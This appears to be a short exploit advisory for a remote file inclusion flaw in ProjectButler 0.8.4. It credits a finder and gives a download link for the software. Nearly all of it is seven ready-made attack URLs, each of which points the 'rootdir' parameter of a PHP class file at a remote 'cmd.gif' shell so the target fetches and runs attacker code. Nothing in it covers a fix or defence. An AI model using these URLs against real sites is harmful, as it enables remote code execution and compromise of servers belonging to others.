ProjectButler <= 0.8.4 (rootdir) Remote File Include Vulnerabilities

######################################################################## # projectbutler-0.8.4 Remote File Inclusion Vulnerability # # Download: http://prdownloads.sourceforge.net/projectbutler/projectbutler-0.8.4.tar.gz?download # # Found By: the master # ######################################################################## # exploit: # # http://[Target]/[Path]/classes/Cache.class.php?rootdir=http://cmd.gif? # http://[Target]/[Path]/classes/Customer.class.php?rootdir=http://cmd.gif? # http://[Target]/[Path]/classes/Performance.class.php?rootdir=http://cmd.gif? # http://[Target]/[Path]/classes/Project.class.php?rootdir=http://cmd.gif? # http://[Target]/[Path]/classes/Representative.class.php?rootdir=http://cmd.gif? # http://[Target]/[Path]/classes/User.class.php?rootdir=http://cmd.gif? # http://[Target]/[Path]/classes/common.php?rootdir=http://cmd.gif? ########################################################################